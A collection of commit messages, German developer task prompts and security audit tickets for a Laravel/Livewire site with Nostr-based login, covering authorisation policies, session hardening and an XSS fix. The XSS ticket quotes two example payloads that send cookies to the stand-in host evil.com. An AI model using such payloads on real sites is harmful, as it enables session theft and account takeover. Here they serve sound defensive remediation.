- Removed unused `copyRelayUrl` and `copyWatchtowerUrl` methods in `Profile` Livewire component.
- Updated storage details in `association.profile` and `association.benefits` views with size and file limits.
- Enhanced `BenefitsTest` to validate new storage capacity information.
- Upgraded multiple packages, including `brick/math`, `guzzlehttp/guzzle`, `laravel/framework`, `spatie/image`, and more.
- Ensured compatibility with project requirements by verifying dependency interrelations.
- Updated Blade conditionals to verify `$currentPleb` exists before accessing its properties.
- Added test case to ensure `Profile` renders correctly for logged-in pubkeys without associated pleb records.
- **SecurityMonitor:** Added logic to record and prevent logging of locked-property exceptions, while ensuring non-security exceptions are properly forwarded.
- **Livewire `Members/Admin`:** Centralized authorization logic in private methods, enforced access control on actions, and moved allowed pubkeys to class constant for maintainability.
- **Livewire `News`:** Enforced authorization for editing and deleting news with guard methods and ensured unauthorized users can't access data.
- **Bootstrap exceptions:** Implemented custom exception handling to record Livewire-related security issues while preventing redundant logs.
- Updated tests with new behavior verification covering access control and exception responses.
- Removed unnecessary `city_id` and `created_by` attributes from `Meetup` model.
- Updated multiple dependencies in `composer.lock`, including `guzzlehttp/guzzle`, `laravel/framework`, and other libraries to the latest versions.
- Verified all updates maintain compatibility with existing functionality.
The previous commit only updated auth-button + the WithNostrAuth trait,
but six Volt pages (profile, benefits, election/*, members/admin) carry
their own handleNostrLoggedIn(string $pubkey) handlers. The dispatched
payload is now an array, so Livewire's container could not resolve the
string parameter and threw BindingResolutionException on every login.
- All six per-page handlers now accept the signed event and route it
through NostrAuth::loginWithSignedEvent() like the trait does.
- NostrAuth: add currentOrIssueChallenge() so the sidebar + navbar
auth-button mounts share one live session challenge instead of
overwriting each other.
- verifySignedEvent: pass a normalized stdClass to swentel's verify()
directly, skipping an unnecessary json_encode + json_decode round-trip.
- auth-button: gate the global Escape/Tab capture so it only intercepts
keys while the overlay is actually visible.
- Update three test files that still called handleNostrLoggedIn with a
raw pubkey to authenticate via NostrAuth::login() instead.
Closes a security flaw where the server trusted any pubkey the client
sent. The frontend now signs a per-session, time-bound challenge
(kind-22242 event) that the backend verifies with swentel/nostr-php
before establishing the session.
- NostrAuth: issueChallenge() + loginWithSignedEvent() with full
schnorr/id verification, TTL window, and idempotent re-entry for
concurrent Livewire listeners.
- auth-button: mounts a fresh challenge, exposes it via data-attribute
+ requestNostrChallenge() fallback, renders a full-viewport AAA-style
loading overlay while the wallet signs.
- NostrSessionGuard: override logout() to drop the cookie-jar dep so
programmatic logout works in any context.
openspout/openspout 4.32.0 → 5.7.0. PowerGrid v6.10.x ships a v5 export adapter
out of the box — config swapped from openspout_v4 to openspout_v5. v3 adapter
references removed (no longer shipped by PowerGrid).
Test suite: 207 passing, 10 preexisting failures unchanged.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
🎨 Refactor `Lecturer` model to include new fields and factory usage
🔧 Update `DatabaseSeeder` to handle default seeds
🛠️ Enhance `einundzwanzig` database configuration for SQLite compatibility
- 🛠 Introduce `RichTextMarkdownNormalizer` to convert Markdown and mixed input to cleaner HTML.
- 🗂 Include a new Blade partial to enable Markdown-on-paste behavior in rich-text editors.
- 📋 Enhance `create` and `edit` forms to normalize descriptions and support Markdown conversion.
- 🧪 Add test coverage for Markdown normalization scenarios.
- 🛠 Add CLI command to normalize project proposal descriptions in bulk.
- 🔧 Update `vite.config.js` for improved development setup (e.g., ignored paths).
Nutze das aktuelle pencil Design und setze die News Seite 100% genauso um. Validiere deine Ergebnisse mit playwright. Überschreibe tailwindcss und Flux UI Styles wenn nötig.
Nutze Livewire Flux UI um die Ansicht der News Items zu verschönern. Teste alles am besten auch eine Validierung mit playwright, ob alles passt und richtig in mobile und Desktop angezeigt wird.
Die Ladezeiten der Bilder ist zu hoch, weil die Original geladen werden.
Bei /association/project-support lade in der Übersicht und in der Einzel-Ansicht /association/project-support/badgebox-for-nostr-manage-your-badges nur die Conversions der Bilder, also die kleinere Versionen.
## Security Audit: Fehlende zentralisierte Autorisierung
### Problem
Die Anwendung hat **keine Laravel Policy-Klassen**. Autorisierungslogik ist verstreut in:
- **Blade Templates:** Inline `@if`-Checks gegen `config('einundzwanzig.config.current_board')`
- **Livewire Trait:** `app/Livewire/Traits/WithNostrAuth.php` setzt `$isAllowed` und `$canEdit` Booleans
- **Component-Mount-Methoden:** z.B. in `project-support/form/create.blade.php` (Zeile 41-47)
Die Board-Member-Autorisierung funktioniert über einen Vergleich mit hartkodierten npubs in `config/einundzwanzig/config.php`:
```php
'current_board' => [
'npub1pt0kw36...', 'npub1gvqkjc...', // etc.
]
```
**Probleme:**
- Keine zentrale Stelle für Berechtigungsprüfungen
- Autorisierung kann leicht vergessen werden wenn neue Endpoints hinzukommen
- Board-Member-Check wird an vielen Stellen dupliziert
- Livewire-Actions können ggf. direkt aufgerufen werden ohne UI-seitige Prüfung
### Lösung
**1. Laravel Policies erstellen:**
```bash
php artisan make:policy ProjectProposalPolicy --model=ProjectProposal --no-interaction
php artisan make:policy VotePolicy --model=Vote --no-interaction
php artisan make:policy ElectionPolicy --model=Election --no-interaction
```
**2. Policy-Methoden implementieren:**
Für `ProjectProposalPolicy`:
- `viewAny()` – Jeder darf die Liste sehen
- `view()` – Jeder darf ein Proposal sehen
- `create()` – Nur authentifizierte User mit `association_status > 1` und bezahlter Mitgliedschaft im aktuellen Jahr
- `update()` – Nur der Ersteller ODER Board-Members
- `delete()` – Nur Board-Members
- `accept()` – Nur Board-Members (custom method für `accepted`-Flag)
Für `VotePolicy`:
- `create()` – Authentifizierte User, die noch nicht für dieses Proposal abgestimmt haben
- `update()` / `delete()` – Nur der eigene Vote
Für `ElectionPolicy`:
- `viewAny()` / `view()` – Jeder
- `create()` / `update()` / `delete()` – Nur Board-Members
- `vote()` – Authentifizierte Mitglieder mit gültigem Status
**3. Auth-Checks in der Nostr-Auth-Architektur:**
Die App nutzt eine Custom NostrAuth (`app/Support/NostrAuth.php`, `app/Auth/NostrUser.php`). Die Policies müssen mit `NostrUser` funktionieren. Prüfe ob `NostrUser` das `Authenticatable` Interface korrekt implementiert, damit `$this->authorize()` und `Gate::allows()` in Livewire-Components funktionieren.
**4. Policies in Livewire-Components nutzen:**
Ersetze die inline-Checks in den Components durch Policy-Aufrufe:
```php
// Vorher (verstreut in Blade/Component):
if (in_array($this->currentPleb->npub, config('einundzwanzig.config.current_board'), true)) { ... }
// Nachher (zentralisiert):
$this->authorize('update', $projectProposal);
```
### Betroffene Dateien
- **Neue Dateien:** `app/Policies/ProjectProposalPolicy.php`, `app/Policies/VotePolicy.php`, `app/Policies/ElectionPolicy.php`
- **Anpassen:** `app/Livewire/Traits/WithNostrAuth.php` – Board-Check in Policy auslagern
- **Anpassen:** Livewire-Components in `app/Livewire/Association/ProjectSupport/` – `$this->authorize()` nutzen
- **Anpassen:** Livewire-Components in `app/Livewire/Association/Election/` – `$this->authorize()` nutzen
- **Prüfen:** `app/Auth/NostrUser.php` – Kompatibilität mit Policy-System
- **Prüfen:** `config/einundzwanzig/config.php` – Board-Member-Liste wird weiterhin als Datenquelle genutzt
### Vorgehen
1. `search-docs` nutzen: `queries: ['policies', 'authorization', 'gates']` und `packages: ['laravel/framework']`
2. Prüfe wie `NostrUser` mit Laravel's Authorization-System zusammenspielt
3. Policies mit `php artisan make:policy` erstellen
4. Policy-Methoden implementieren (Board-Check-Logik zentralisieren)
5. Livewire-Components auf Policy-Aufrufe umstellen
6. Blade-Templates: `@can` / `@cannot` Directives nutzen statt inline `@if`
7. Pest Feature-Tests für jede Policy-Methode schreiben
8. `vendor/bin/pint --dirty` und `php artisan test --compact`
### Akzeptanzkriterien
- 3 Policy-Klassen existieren und sind registriert
- Board-Member-Check ist an EINER Stelle definiert (in Policy oder Helper)
- Livewire-Components nutzen `$this->authorize()` statt inline-Checks
- Blade-Templates nutzen `@can` / `@cannot` Directives
- Pest-Tests decken alle Policy-Methoden ab (allow & deny)
- Bestehende Funktionalität bleibt erhalten
## Security Audit: Session-Konfiguration härten
### Problem
Die aktuelle `.env.example` hat unsichere Session-Defaults:
```env
SESSION_ENCRYPT=false # Session-Daten unverschlüsselt in der DB
SESSION_SECURE_COOKIE= # Nicht gesetzt – Cookie wird auch über HTTP gesendet
SESSION_DOMAIN=null # Nicht eingeschränkt
```
Da die App eine Custom Nostr-basierte Auth verwendet (`app/Auth/NostrSessionGuard.php`) und der `pubkey` in der Session gespeichert wird, ist die Session ein attraktives Angriffsziel. Unverschlüsselte Sessions in der Datenbank bedeuten, dass ein DB-Leak sofort alle aktiven Sessions kompromittiert.
### Lösung
**1. `.env.example` aktualisieren:**
```env
SESSION_ENCRYPT=true
SESSION_SECURE_COOKIE=true
```
**2. Session-Config in `config/session.php` prüfen:**
Falls `config/session.php` nicht existiert (Laravel 12 Slim-Struktur), muss die Config ggf. mit `php artisan config:publish session` veröffentlicht werden. Prüfe ob die folgenden Werte korrekt gesetzt sind:
```php
'encrypt' => env('SESSION_ENCRYPT', true), // Default auf true ändern
'secure' => env('SESSION_SECURE_COOKIE', true), // Default auf true ändern
'http_only' => true, // Bereits Standard
'same_site' => 'lax', // Bereits Standard
```
**3. Cookie-Sicherheit:**
- `http_only` verhindert JavaScript-Zugriff auf Session-Cookies (Schutz gegen XSS-Cookie-Theft)
- `secure` erzwingt HTTPS-only Übertragung
- `same_site: lax` schützt gegen CSRF bei Top-Level-Navigation
### Betroffene Dateien
- `.env.example` – Default-Werte aktualisieren
- `config/session.php` – Falls vorhanden, Defaults härten. Falls nicht vorhanden, mit `php artisan config:publish session` erstellen und anpassen
### Vorgehen
1. Prüfe ob `config/session.php` existiert (bei Laravel 12 ist es möglicherweise nicht veröffentlicht)
2. Falls nicht vorhanden: `php artisan config:publish session --no-interaction`
3. Sichere Defaults setzen (encrypt=true, secure=true)
4. `.env.example` aktualisieren
5. Einen Pest-Test schreiben, der verifiziert dass Session-Cookies die korrekten Flags haben (secure, httpOnly, sameSite)
6. `vendor/bin/pint --dirty` und `php artisan test --compact`
### Hinweis
- In der lokalen Entwicklung (`APP_ENV=local`) kann `SESSION_SECURE_COOKIE=false` gesetzt werden, damit HTTP funktioniert
- Der Default in der Config sollte aber `true` sein, damit Produktion abgesichert ist
- Die `.env` Datei selbst wird NICHT bearbeitet (nur `.env.example`)
### Akzeptanzkriterien
- `SESSION_ENCRYPT=true` als Default in `.env.example`
- `SESSION_SECURE_COOKIE=true` als Default in `.env.example`
- Session-Config verwendet sichere Defaults
- Tests verifizieren Cookie-Sicherheitsflags
- Lokale Entwicklung bleibt funktional (über `.env` Override)
## Security Audit: Cross-Site Scripting (XSS) in ProjectProposal Description
### Problem
In `resources/views/livewire/association/project-support/show.blade.php` Zeile 111 wird User-generierter Content **unescaped** ausgegeben:
```blade
<x-markdown>
{!! $projectProposal->description !!}
</x-markdown>
```
**Angriffsvektor:** Jeder authentifizierte User mit `association_status > 1` und bezahlter Mitgliedschaft kann über `resources/views/livewire/association/project-support/form/create.blade.php` einen ProjectProposal erstellen. Das Feld `description` wird nur mit `required|string|min:5` validiert – kein HTML-Sanitizing. Ein Angreifer kann beliebiges JavaScript injizieren:
```html
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
<img src=x onerror="fetch('https://evil.com/'+document.cookie)">
```
Die App nutzt Spatie's `laravel-markdown` (League\CommonMark), das standardmäßig inline HTML **nicht** filtert.
### Lösung
**Option A (empfohlen): HTML Purifier im Markdown-Renderer konfigurieren**
1. In `config/markdown.php` die CommonMark-Konfiguration anpassen, um `allow_unsafe_links` auf `false` zu setzen und `html_input` auf `'escape'` oder `'strip'`
2. Prüfe die aktuelle `config/markdown.php` – dort wird der `Spatie\LaravelMarkdown\MarkdownRenderer` konfiguriert
3. Setze in der CommonMark-Konfiguration:
```php
'commonmark' => [
'html_input' => 'escape', // oder 'strip' – verhindert rohen HTML-Output
'allow_unsafe_links' => false,
],
```
**Option B: Input-Sanitization bei Speicherung**
1. In `app/Livewire/Forms/ProjectProposalForm.php` (oder dem Create-Component) vor dem Speichern den HTML-Content mit `strip_tags()` oder besser einem HTML Purifier bereinigen
2. Das Flux `<flux:editor>` Component erzeugt möglicherweise gültiges HTML – prüfe, welches Format in der DB gespeichert wird
**Option C: Output-Escaping**
1. Ersetze `{!! $projectProposal->description !!}` durch `{{ $projectProposal->description }}` wenn nur Plain-Text benötigt wird
2. Falls Markdown benötigt wird, nutze die sichere Markdown-Rendering-Pipeline
### Betroffene Dateien
- `resources/views/livewire/association/project-support/show.blade.php:111` – XSS-Output
- `resources/views/livewire/association/project-support/form/create.blade.php` – Input ohne Sanitization
- `app/Livewire/Forms/ProjectProposalForm.php` – Validation Rules (falls vorhanden)
- `config/markdown.php` – CommonMark Konfiguration
### Zusätzlich prüfen
Scanne alle anderen `{!! !!}` Stellen in `resources/views/livewire/` (NICHT in `resources/views/flux/` – das sind Framework-Dateien). Aktuell ist nur `show.blade.php:111` betroffen, aber prüfe ob es weitere gibt.
### Vorgehen
1. `config/markdown.php` lesen und die CommonMark-Config auf `'html_input' => 'escape'` setzen
2. Prüfen, ob die Änderung den gewünschten Effekt hat (Markdown wird gerendert, HTML wird escaped)
3. Einen Pest Browser-Test oder Feature-Test schreiben, der verifiziert, dass `<script>` Tags in der Description escaped werden
4. `vendor/bin/pint --dirty` ausführen
5. Bestehende Tests laufen lassen
### Akzeptanzkriterien
- `<script>` und andere HTML-Tags in ProjectProposal descriptions werden escaped oder gestrippt
- Markdown-Formatierung (Bold, Links, Listen) funktioniert weiterhin
- Ein Test verifiziert, dass XSS-Payloads nicht ausgeführt werden
- Keine Regression in der Darstellung bestehender Proposals
- ✨ Update `composer.lock` and `.junie/guidelines.md` to include new versions for Pest v4, PHPUnit v12, Laravel framework (v12.51.0), and other dependencies.
- 📚 Add Pest v4 specific rules for browser testing, smoke testing, and visual regression tests to documentation.
- 🛠 Refactor related configs for upgraded dependency compatibility, ensuring cleaner and faster development debugging.
HolgerHatGarKeineNode